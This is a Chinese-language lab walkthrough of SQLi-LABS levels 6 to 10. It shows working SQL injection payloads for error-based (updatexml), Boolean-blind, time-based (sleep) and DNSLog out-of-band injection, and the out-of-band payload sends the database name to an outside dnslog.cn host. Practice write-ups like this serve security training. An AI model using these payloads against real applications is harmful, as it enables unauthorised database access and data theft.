SQLi-LABS 06关
1.判断注入类型
id=1' 正常
id=1" 报sql语法错误,可以用报错注入
2. 使用updatexml()函数进行报错注入
注入语句:
?id=1" and updatexml(1,concat(1,database()),1) --+
得到数据库名
SQLi-LABS 07关
1.判断闭合方式
?id=1 You are in.... Use outfile.....提示用文件
?id=1' You have an error in your SQL syntax 显示有语法错误
?id=1" and 1=2 --+ 正常 所以不是双引号
?id=1')) and 1=2 --+ 错误
所以闭合方式是 '))
2.注入方式
本题可以用布尔盲注,也可以使用外带注入;
但由于布尔盲注太费时间,所以我们直接使用dnslog外带注入
打开dnslog.cn 网站,生成dnslog网址
3.使用外带注入语句
?id=1')) union select 1,2,(load_file(concat('\\\\',(select database()),'.5ktpbm.dnslog.cn\\abc'))) %23
得到数据库名
SQLi-LABS 08关
1. 判断闭合方式
id=1 You are in....
id=1' 报错但没有回显
id=1' --+ You are in....
闭合方式是字符型 '
2. 注入方式
有两个显示页面,所以可以使用布尔盲注
使用BurpSuite进行抓包,从而对数据库命进行暴力破解
注入语句:?id=1%27%20and%20ascii(substr(database(),1,1))=1--+
3. 测试数据库长度,可以使用抓包暴力破解,也可以使用语句进行二分法进行测试得到
这里使用sql语句
注入语句:?id=1' and length(database())=8--+
得到数据库长度为 8
4. 抓包并发送到攻击器
攻击器将两个参数添加payload,使用集束炸弹模式
因为前面已经知道数据库长度为8,所以最大长度为8(比8大的数字都可以)
第一个payload配置如下
第二个payload配置如下
开始攻击,得带8个长度和其他不一样的数据,这8个就是数据库的对应的ASCII数值,对照ASCII表可以得到对应的字母,最终得到数据库名为security
SQLi-LABS 09关
1. 无论输入输入什么注入语句都是You are in....
所以只能使用时间盲注
2.判断闭合方式
id=1' and sleep(3) --+ 明显延迟
id=1" and sleep(3) --+ 没有明显延迟
id=1') and sleep(3) --+ 没有明显延迟
所以闭合方式是单引号 '
3.使用时间盲注语句
注入语句:?id=1' and if((ascii(substr(database(),1,1))=115),sleep(10),0) --+
改变参数,得到数据库名为security
SQLi-LABS 10关
1.和第九关一样无论输入什么都是You are in....
所以一样是时间盲注
2.判断闭合方式
id=1' and sleep(3) --+ 没有明显延迟
id=1') and sleep(3) --+ 没有明显延迟
id=1" and sleep(3) --+ 有明显延迟
所以是双引号闭合 "
3.使用注入语句
注入语句:?id=1" and if((ascii(substr(database(),1,1))=115),sleep(10),0) --+
更改参数,得到数据库名为security